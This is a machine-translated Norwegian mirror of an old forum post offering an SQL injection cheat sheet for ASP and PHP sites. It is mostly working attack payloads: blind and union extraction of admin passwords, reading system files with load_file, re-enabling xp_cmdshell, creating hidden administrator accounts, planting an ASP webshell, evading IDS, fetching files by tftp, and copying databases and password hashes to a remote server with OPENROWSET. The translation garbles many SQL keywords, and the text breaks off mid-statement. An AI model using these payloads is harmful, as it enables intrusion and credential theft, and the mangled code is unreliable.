Denne artikkelen er en speilartikkel om maskinoversettelse, vennligst klikk her for å hoppe til originalartikkelen.

Utsikt: 20889|Svare: 2

[Trygg kommunikasjon] SQL Injection Book - ASP Injection Sårbarhet Full Contact

[Kopier lenke]
Publisert på 28.09.2015 18:21:41 | | |


MSSQL kryssdatabase-spørringer (stinkende mat!) Mørk)

Få ut hver eneste dråpe av MS SQL

SQL-setningsreferanser og postsettobjekter forklares i detalj

Om lagrede prosedyrer i SQL Server

Lag et webshell med mssql-backup

SQL_Injection avanserte anvendelser

Cross-site SQL-injeksjon (laokai)

Merkelig SQL-injeksjon (AMANL)

Avansert SQL-injeksjon i SQL Server-applikasjoner

Hvordan bruke SQL-injeksjon for å gå gjennom kataloger

Gjennomgang av SQL-injeksjonsteknikker (Oversetter: demonalex)

Noen angrep på SQL-databaser

SQL-injeksjonsangrepsteknikk (JSW)

SQL_Injection avanserte applikasjoner (APACHY)

Uvanlige metoder for SQL-injeksjon (Guilin-veteran)

Ta backup av et skall

Snakk om php+mysql-injeksjonsstrukturen (Heyhehehehe·≯Super· Hei)

Avansert SQL-injeksjon med MySQL(angel)

L'injection (My)SQL via PHP

Oracle SQL Language

SQL manuell injeksjonsleksikon

Forutsetninger krever verktøy: SQL Query Analyzer og SqlExec Sunx Version
==============================================================================================
1. Finne ut om det finnes et injeksjonspunkt
; og 1=1 og 1=2
2. Gjetter at navnet på tabellen ikke er annet enn admin, admin, brukerpass, passord, osv.:
og 0<>(velg tell(*) fra *)
og 0<>(velg tell(*) fra admin) — Finn ut om admin-tabellen eksisterer
3. Gjett antall kontoer Hvis du møter 0< gå tilbake til riktig side 1< returner feilsiden for å indikere at antall kontoer er 1
og 0<(velg tell(*) fra admin)
og 1<(velg antall(*) fra administrasjon)
4. Gjett feltnavnet Legg til feltnavnet vi tenker på i len( ) klammerne.
og 1=(velg antall(*) fra admin hvor len(*)>0)–
og 1=(velg antall(*) fra admin hvor len(brukernavn)>0)
og 1=(velg antall(*) fra admin hvor len(_blank>passord feltnavn)>0)
5. Gjett lengden på hvert felt Gjett lengden er å transformere >0 til riktig side returneres
og 1=(velg antall(*) fra admin hvor len(*)>0)
og 1=(velg antall(*) fra admin hvor len(name)>6) feil
og 1=(velg antall(*) fra admin hvor len(name)>5) Korrekt lengde er 6
og 1=(velg antall(*) fra admin der len(name)=6) er korrekt
og 1=(velg tell(*) fra admin der len(password)>11) er korrekt
og 1=(velg antall(*) fra admin hvor len(password)>12) feillengde er 12
og 1=(velg tell(*) fra admin der len(password)=12) er korrekt
6. Gjett karakterene
og 1=(velg antall(*) fra admin hvor venstre(navn,1)=a) — Gjett det første sifferet på brukerens konto
og 1=(velg antall(*) fra admin hvor venstre(navn,2)=ab)—Gjett det andre sifferet i brukerens konto
Bare legg til ett tegn om gangen for å gjette, gjett så mange sifre som du nettopp gjettet, så kommer kontonummeret ut
(1) Gjett navnet på bordet

Brukte setninger:
og eksisterer (velg * fra tabellnavn)

For eksempel:
og eksisterer (velg * fra admin)

Hvis siden gir riktig ekko, betyr det at tabellnavnet vi gjettet her er riktig, og hvis siden er feil, betyr det at tabellnavnet vi skrev her er feil

, så endrer du navnet på bordet og fortsetter å gjette til du gjetter.

Vanligvis inkluderer vanlige tabellnavn admin, administrer, bruker, eller å sette det inn i verktøykjøringen
(2) Gjett feltet

Brukte setninger:
og eksisterer (velg feltnavn fra tabellnavn)

For eksempel:
og eksisterer (velg brukernavn fra administrator)

Her, forutsatt at admin-tabellen er tabellen jeg gjettet riktig ovenfor, vil jeg finne ut om brukernavn-feltet finnes, jeg må bruke denne setningen, hvis siden

Hvis ansiktsekkoet er korrekt, betyr det at feltnavnet vi gjettet her er korrekt, og hvis siden er feil, betyr det at feltnavnet vi skrev her er feil

, så endrer du feltet og fortsetter å gjette til du gjetter.

Generelt inkluderer vanlige feltnavn brukernavn, passord, bruker, pass, navn, pass, pwd, usr, psd og andre felt
(3) orden etter

Order by er å få summen av antall felt på den siden, og forberede neste felles spørring
(4) Union Select

  1. Hvis du støtter felles spørring, finn visningsbiten http://www.xxx.com/product_show.asp?id=1 og 1=2 union select

1,2,3,4,5,6,7,8,9,10,11
Anta at visningsbitene er 5,6. Deretter trenger vi bare å erstatte feltnavnene som tilsvarer administratorens brukernavn og passord med posisjonen til visningsbiten her
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 fra admin fant bakgrunnsinnloggingen
  2. Hvis felles spørring ikke støttes
Administratorens brukernavn og passord kan ikke hentes uten felles spørring – ved hjelp av Ascii ordrett dekoding
To
  Bruk order by for å vurdere antall biter i tabellen, og hvis det ikke fungerer, bruk union select for å arrangere dem én etter én, her antar vi 8 biter
Tre
  Bruk en felles spørring for å bestemme visningsbitene
Fire
  Bruk visningsbiten for å finne databasenavnet, databaseversjon, 5.0 eller nyere kan injiseres
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,bruker(),0x5c,
versjon()),8
Fem
  Med databasenavnet kan du begynne å hente tabellnavnet skjema = etterfulgt av HEX-verdien til databasenavnet, og gjette tabellnavnet
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+fra+information_schema.columns+hvor+
table_schema=0x666C6965725F6462617365
Seks
  Det analyserte tabellnavnet bestemmer HEX-verdien til administratorens tabellnavn=tabellnavn, og gjetter feltene i tabellen
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKT

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Sytten
  Etter å ha hentet feltene i admin-tabellen, la oss hente innholdet i feltene
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINKT

+brukernavn,
0x5f,userpwd),8+from+pub_webmaster
Åtte
  Verktøyet skanner bakgrunnen: Logg inn for å laste opp trojaneren etter å ha funnet den, og hvis du ikke finner robots.txt-filen kan du få tilgang til den
Ni
  Hvis du ikke finner bakgrunnen, vil passordet til MYSQL-administratoren bli avslørt
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(bruker,passord),8+fra+mysql.user
Ti
  Få tilfeldig tilgang til en sti, og tilbakemeldingen er 404-standardsiden i IIS6, som indikerer at nettsideserveren er: Windows+IIS6+php+MySql-miljøet
  c:\\windows\\system32\\inetsrv\MetaBase.xml\ Denne stien kan hente nettsidens konfigurasjonsinformasjon.
  Konstruksjonsutsagn http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Elleve
  Analyser koden og finn bakgrunnsadressen
  I det første steget må vi få lengden på feltene i tabellen
Brukte utsagn:
og (velg topp 1 len(feltnavn) fra tabellnavn)>0
Som hva:
og (velg topp 1 len(admin_name) fra admin)>0
Siden vises normalt, lengden på feltet admin_name er større enn 0, og jeg vil sende inn:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Siden viser en feilmelding som sier at feltet er mellom 0 og 10, og lengden er 5 ved bruk av dikotomien
Ved å bruke samme metode for å bestemme lengden på feltet for administratorens passord, får jeg en lengde på 16
  Steg 2
La oss nå gå videre til det andre steget, ta et bestemt tegn i feltet, og få ASCII-koden til tegnet, som brukes

Uttalelse:
og (velg topp 1 asc(mid(feltnavn, N,1)) fra tabellnavn)>0
La meg se på denne setningen separat, først den innerste mid(username, 1,1)-funksjonen, som er det første tegnet i admin_name-feltet, N

indikerer at de første tegnene skal avskjæres,
Deretter representerer den ytre asc()-funksjonen, som konverterer tegnene interceptet av mid-funksjonen til ASCII-kode, den ytterste øverste 1, returfeltet til første plass

En rekord, da,
">0" på slutten er for å sammenligne den konverterte ASCII-koden med dette tallet, og til slutt få avskjæringen ved å stadig endre siste verdi

Få tak i detaljene om denne karakteren
ASCII-kode
Innsending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Siden vises normalt, noe som indikerer at ASCII-koden til dette tegnet er større enn 30.
Innsending:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Siden vises normalt, noe som indikerer at ASCII-koden til dette tegnet er større enn 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII-koden jeg endte opp med for denne karakteren er 97
Sammenlign ASCII-tabellen:
Det kan konkluderes med at det første tegnet er "a".
Deretter vil jeg vurdere ASCII-koden til den andre karakteren.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Siden vises normalt, noe som indikerer at ASCII-koden til tegnet er større enn 90, og den siste verdien endres alltid
Den samme metoden ga administratorens passord, og resultatet jeg fikk var:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
og 1=(velg topp 1 tell(*) fra Admin hvor Asc(mid(pass,5,1))=51) –
Denne spørringssetningen kan gjette den kinesiske brukeren og _blank> passordet. Bare bytt ut følgende numre med den kinesiske ASSIC-koden

Konverter til karakterer.

Grupper med users.id som har 1=1–www.myhack58.com
Gruppere etter users.id, brukere.brukernavn, brukere.passord, brukertillatelser med 1=1–
; sett inn i brukerverdier (666, attacker, foobar, 0xffff)–

UNION Select TOPP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor

TABLE_blank>_NAME=logintable-
UNION Select TOPP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor

TABLE_blank>_NAME=innloggingstabell Hvor COLUMN_blank>_NAME IKKE I (login_blank>_id)-
UNION Select TOPP 1 COLUMN_blank>_NAME FRA INFORMATION_blank>_SCHEMA. KOLONNER Hvor

TABLE_blank>_NAME=innloggingstabell Hvor COLUMN_blank>_NAME IKKE INN

(login_blank>_id,login_blank>_name)-
UNION Velg TOPP 1 login_blank>_name FRA påloggingstabell-
UNION Velg TOPP 1 passord FRA innloggingstabell hvor login_blank>_name=Rahul–
Se på patchen spilt av _blank>-serveren = feil SP4-patch svart sikkerhetsnett
og 1=(velg @@VERSION)–

Se på tillatelsene til _blank> databasetilkoblingskonto, og den returnerer normalt, noe som beviser at det er sysadmin-tillatelsen til _blank> server-rollen.
og 1=(Velg IS_blank>_SRVROLEMEMBER(sysadmin))–

Finn ut om databasekontoen _blank> tilkoblet. (Bruk SA-konto for å koble til og returnere normal = bevis at den tilkoblede kontoen er SA)
og sa=(Velg System_blank>_user)–
og user_blank>_name()=dbo–
og 0<>(velg user_blank>_name()–

Se om xp_blank>_cmdshell sletter
og 1=(Velg tell(*) FRA master.dbo.sysobjects hvor xtype = X OG navn = xp_blank>_cmdshell)



xp_blank>_cmdshell slettes, gjenopprettes og støtter absolutt stigjenoppretting
; LEDER master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== databasetillatelse er eksponert for den fysiske stikoden til nettsiden

==========================================================================
1、slippbord [jm_tmp]; Opprett tabell [jm_tmp](verdi navrchar(4000) null, data nvarchar(4000)

null) -- Opprett tabell


2、 slett [jm_tmp]; sett inn [jm_tmp] executive master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Sett inn site-katalogen i tabellfeltet


3、og (velg topp 1 cast([data] som nvarchar(4000) char(124) fra [jm_tmp] Order by [data]

beskrivelse)=0 '//eksponert felt


4. Slipp tabell [jm_tmp] -- Slett denne tabellen.
for at kommandoen skal hente granaten
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Andre stasjonsstier
======================load_file() Ofte brukt sensitiv informasjon ===========================================
1、 erstatte(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、erstatte(load_file(char(47,101,116,99,47,112,97,115,115,119,100)), char(60),char(32))
De to ovennevnte er for å vise en PHP-fil som viser koden fullt ut. Det finnes tider hvor noen tegn ikke er erstattet, som "<" i stedet for "space" som kommer tilbake

Nettside. Og koden kan ikke vises.

3. load_file(char(47)) kan liste rotkatalogen til FreeBSD- og Sunos-systemer

4. Se Linux APACHE virtuell vertskonfigurasjonsfil i /etc/httpd/conf/httpd.conf eller /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf eller C:\apache\conf\httpd.conf for å se WINDOWS

System Apache-fil

6. c:/Resin-3.0.14/conf/resin.conf Se resinfilkonfigurasjonsinformasjonen til nettstedet utviklet av jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf for å se den virtuelle JSP-verten konfigurert på Linux-systemet

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin eksplodersti

11. C:\Windows\system32\inetsrv MetaBase.xml\ Se den virtuelle vertskonfigurasjonsfilen til IIS

12. /usr/local/resin-3.0.22/conf/resin.conf for å se RESIN-konfigurasjonsfilen for 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Samme som ovenfor

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuell vert

15. /etc/sysconfig/iptables avhenger av brannmurpolicyen

16. /usr/local/app/php5 b/php.ini PHP-ekvivalente innstillinger

17. /etc/my.cnf MYSQL konfigurasjonsfil

18. /etc/redhat-release systemversjon av Red Hat

19 、C:\mysql\data\mysql\user. MYD finnes i brukerpassordet i MYSQL-systemet

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 for å se IP.

21. /usr/local/app/php5 b/php.ini //PHP-relaterte innstillinger

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuelle nettsideinnstillinger

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue viser distribusjonsinformasjonen til Linux-kjernen

26、/etc/ftpuser

27. Sjekk operasjonsloggfilen under LINUX user.bash_history eller .bash_profile

28、/osv/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Eksperimenter med omvendt PING selv
; bruk master; erklær @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ut; Administrerende direktør

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Legg til en konto
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Opprett en virtuell katalog E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kjør,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Tilgang til attributter: (med skriving til et webshell)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, kjør,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Spesiell _blank> triks for å burste biblioteket: :%5c=\ eller modifiser %5 med / og \ for å committe
og 0<>(velg topp 1 stier fra newtable)–

Få databasenavnet (fra 1 til 5 er ID-ene til systemet, og du kan vurdere dem over 6)
og 1=(velg navn fra master.dbo.sysdatabases hvor dbid=7)–
og 0<>(velg tell(*) fra master.dbo.sysdatabases hvor name>1 og dbid=6)
Send inn dbid i tur = 7,8,9.... Få flere _blank> databasenavn

og 0<>(velg toppnavn 1 fra bbs.dbo.sysobjects hvor xtype=U) burster inn i en tabell med antakelse om admin
og 0<>(velg øverste 1-navn fra bbs.dbo.sysobjects der xtype=du og navn ikke er i (Admin)).

Andre bord.
og 0<>(velg tell(*) fra bbs.dbo.sysobjects hvor xtype=du og name=admin
og uid>(str(id))) Den numeriske verdien til UID antas å være 18779569 uid=id
og 0<>(velg toppnavn 1 fra bbs.dbo.syscolumns hvor id=18779569) får et felt med admin, false

Satt til user_blank>_id
og 0<>(velg toppnavn 1 fra bbs.dbo.syscolumns der id=18779569 og navn ikke er i
(id,...)) for å eksponere andre felt
og 0<(velg user_blank>_id fra BBS.dbo.admin hvor brukernavn>1) for å få brukernavnet
Til gjengjeld kan du få passordet _blank>。。。。。 Anta at det finnes felt som user_blank>_id brukernavn, passord, osv

og 0<>(velg tell(*) fra master.dbo.sysdatabases hvor name>1 og dbid=6)
og 0<>(velg øverste 1-navn fra bbs.dbo.sysobjects hvor xtype=U) for å hente tabellnavnet
og 0<>(velg øverste navn 1 fra bbs.dbo.sysobjects hvor xtype=du og navn ikke i(Adresse))
og 0<>(velg antall(*) fra bbs.dbo.sysobjects hvor xtype=you og name=admin og uid>(str(id)))

Bestem id-verdien
og 0<>(velg øverste 1-navn fra BBS.dbo.syscolumns hvor id=773577794) alle felt

?id=-1 union velg 1,2,3,4,5,6,7,8,9,10,11,12,13,* fra admin
?id=-1 union velg 1,2,3,4,5,6,7,8,*,9,10,11,12,13 fra admin (union, tilgangen er også enkel å bruke)

Få WEB-veien
; Lag tabell [DBO]. [bytte] ([swappass][char](255)); –
og (velg topp 1 swappass fra swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1), paths varchar(500)) Deklar @test varchar(20) exec

Mester.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, verdier=@test

OUTPUT sett inn i paths(path)-verdier(@test)–
; bruk ku1; –
; opprett tabell-cmd (STR-bilde); – Lag en tabell-cmd for bildetypen
1. Måten å fjerne xp_cmdshell-utvidelsesprosessen på er å bruke følgende utsagn:

hvis finnes (velg * fra dbo.sysobjects der id=object_id(N'[dbo].[ xpcmdshell]') og

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
utøvende sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Måten å legge til xp_cmdshell utvidelsesprosessen på er å bruke følgende utsagn:

(1) SQL Query Analyzer

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Fyll først inn %s i Format-alternativet i SqlExec Sunx Version og skriv det inn i CMD-alternativet

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

Fjern

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Det finnes xp_blank>_cmdshell testprosesser:
; Exec Master.. xp_blank>_cmdshell regi
; administrerende master.dbo.sp_blank>_addlogin Jiaoniang$; – Legg til SQL-kontoer
; utøvende master.dbo.sp_blank>_password null, jiaoniang$,1866574; –
; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell netbruker jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Exec Master.. xp_blank>_servicecontrol starter, planlegg for å starte _blank> service
Exec Master.. xp_blank>_servicecontrol start, server
; DEKLAR @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c nettbruker jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Last opp filer med TFTP

; Deklarer @a sysname-sett @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarer @a sysname-sett @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; erklær @a; sett @a=db_blank>_name(); Backup database @a til disk=din IP Din delte mappe bak.dat
Hvis begrenset, ja.
velg * fra openrowset(_blank>sqloledb,server; sa; , velg OK! Administrerende direktør

master.dbo.sp_blank>_addlogin hax)

Spørringsstruktur:
Velg * FRA nyheter Hvor id=... OG tema=... OG .....
adminand 1=(velg teller(*) fra [bruker] hvor brukernavn=victim og right(left(userpass,01),1)=1)

og UserPass <>
velg 123; –
; bruk master; –
:a eller navn som fff%; – Viser en bruker kalt ffff.
og 1<>(velg antall (e-post) fra [bruker]); –
; oppdater [brukere] sett e-post=(velg topp 1 navn fra sysobjects hvor xtype=du og status>0) hvor

Name=FFFF; –
; Oppdater [brukere] Sett e-post=(velg topp 1-ID fra sysobjects hvor xtype=du og name=ad) hvor

Name=FFFF; –
; Oppdater [brukere] Sett e-post=(velg topp 1 navn fra sysobjects hvor xtype=du og id>581577110)

hvor navn=ffff; –
; Oppdater [brukere] Sett e-post=(velg topp 1 telling(ID) fra passordet) hvor navn=FFFF; –
; Oppdater [brukere] Sett e-post=(velg øverste 1 PWD fra passord hvor ID=2) hvor navn=FFFF; –
; Oppdater [brukere] Sett e-post=(velg øverste 1 navn fra passord hvor ID=2) hvor Navn=FFFF; –
Setningen ovenfor er å hente den første brukertabellen i _blank>-databasen og legge inn tabellnavnet i e-postfeltet til ffff-brukeren.
Ved å se brukerprofilen til ffff kan du få den første tabellen kalt AD
Få deretter ID-en til denne tabellen i henhold til bordnavnet og for å få navnet på den andre tabellen

sett inn i users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
sett inn i brukernes verdier(667,123,123,0xffff)–
sett inn i brukernes verdier (123, admin–, passord, 0xffff)–
; og bruker>0
; og (velg tell(*) fra sysobjects)>0
; og (velg tell(*) fra mysysobjects)>0 // for access_blank>-databasen

List opp navnet på datatabellen
; Oppdater AAA-sett AAA=(velg topp 1-navn fra sysobjects hvor xtype=du og status>0); –
Her oppdateres det første tabellnavnet til feltet AAA.
Les den første tabellen, og den andre tabellen kan leses slik (legg til og navn etter betingelsen<> navnet på tabellen du nettopp fikk).
; Oppdater AAA-sett AAA=(velg topp 1-navn fra sysobjects hvor xtype=du og status>0 og

navn<>stemme); –
Da id=1552 og eksisterer (velg * fra aaa hvor aaa>5)
Les opp den andre tabellen og les den én etter én til det ikke er noe igjen.
Lesefeltet ser slik ut:
; oppdater AAA-sett AAA=(velg topp 1 col_blank>_name(object_blank>_id(tabellnavn),1)); –
Da får id=152 og eksisterer (velg * fra aaa hvor aaa>5) får en feil og får feltnavnet
; oppdater AAA-settet AAA=(velg topp 1 col_blank>_name(object_blank>_id(tabellnavn),2)); –
Da får id=152 og eksisterer (velg * fra aaa hvor aaa>5) får en feil og får feltnavnet

[Få navn på datatabellen] [Oppdater feltverdien til tabellnavnet, og les deretter opp verdien av dette feltet for å hente tabellnavnet]
Oppdater tabellnavn sett felt=(velg øverste 1 navn fra sysobjects hvor xtype=du og status>0 [ og navn<>

Tabellnavnet du får Finn én pluss én]) [ hvor betingelse] velg øverste 1-navn fra sysobjects hvor xtype=du og

status>0 og navn ikke i (tabell1,tabell2,...)
Opprettelse av en databaseadministratorkonto og en systemadministratorkonto _blank> _blank> sårbarhetsinjeksjon gjennom SQLSERVER [Den nåværende kontoen må være SYSADMIN-gruppen]

[Få datatabellens feltnavn] [Oppdater feltverdien til feltnavnet, og les deretter opp verdien av dette feltet for å hente feltnavnet]
oppdater tabellnavn sett felt=(velg topp 1 col_blank>_name(object_blank>_id (datatabellnavn skal spørre), feltkolonne

For eksempel: 1) [ hvor betingelsen ]

Omgåelse av IDS-deteksjon [ved bruk av variabler]
; Deklarer @a sysname-sett @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarer @a sysname-sett @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Åpne den eksterne _blank>databasen
Grunnleggende syntaks
velg * fra OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, velg * fra tabell1 )
Parametere: (1) OLEDB-leverandørens navn
2. Tilkoblingsstrengparameteren kan være hvilken som helst port å koble til, slik som
velg * fra OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,

Velg * fra tabellen
3. Kopier hele _blank>-databasen til målverten og sett inn alle eksterne tabeller i den lokale tabellen.

Grunnleggende syntaks:
sett inn i OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, velg * fra tabell1) velg

* fra tabell2
Denne linjesetningen kopierer all data fra table2-tabellen på målverten til table1-tabellen i den eksterne _blank>-databasen. Passende reparasjoner i praktisk bruk

Endre IP-adressen og porten til tilkoblingsstrengen slik at den peker dit du trenger den, for eksempel:
sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg

* fra tabell1) velg * fra tabell2
sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg

* fra _blank>_sysdatabases)
velg * fra master.dbo.sysdatabases
sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg

* fra _blank>_sysobjects)
velg * fra user_blank>_database.dbo.sysobjects
sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg

* fra _blank>_syscolumns)
velg * fra user_blank>_database.dbo.syscolumns
Repliker _blank> database:
sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg

* fra tabell1) velg * fra databasen.. Tabell1
sett inn i OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Nettverk=DBMSSOCN; Adresse=192.168.0.1,1433; ,velg

* fra tabell2) velg * fra databasen.. Tabell2

Hashen til passordet som kopierer hashtabellens (HASH) innlogging _blank> passord lagres i sysxlogins. Slik gjør du:
sett inn i OPENROWSET(SQLOLEDB,

